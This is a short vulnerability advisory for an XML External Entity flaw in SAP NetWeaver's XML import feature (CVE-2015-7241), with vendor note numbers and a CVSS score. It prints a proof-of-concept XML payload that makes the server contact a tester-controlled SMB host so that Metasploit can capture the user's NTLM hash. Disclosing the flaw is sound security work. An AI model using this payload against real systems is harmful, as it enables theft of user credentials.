SAP Netweaver XML External Entity Injection
Posted on 22 September 2015
Title: SAP Netwaver - XML External Entity Injection Author: Lukasz Miedzinski GPG: Public key provided in attachment Date: 29/10/2014 CVE: CVE-2015-7241 Affected software : =================== SAP Netwear : <7.01 Vendor advisories (only for customers): =================== External ID : 851975 2014 Title: XML External Entity vulnerability in SAP XML Parser Security Note: 2098608 Advisory Plan Date: 12/5/2014 Delivery date of fix/Patch Day: 10/2/2014 CVSS Base Score: 5.5 CVSS Base Vector: AV:N/AC:L/AU:S/C:P/I:N/A:P Description : ============= XML External Entity Injection vulnerability has been found in the XML parser in the System Administration->XML Content and Actions -> Import section. Vulnerabilities : ***************** XML External Entity Injection : ====================== Example show how pentester is able to get NTLM hash of application's user. Content of file (PoC) : <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY % remote SYSTEM "file:////Tester.IP/test"> %remote; %param1; ]> <root/> When pentester has metasploit smb_capture module run, then application will contatc him and provide NTLM hash of user. Contact : ========= Lukasz[dot]Miedzinski[at]gmail[dot]com
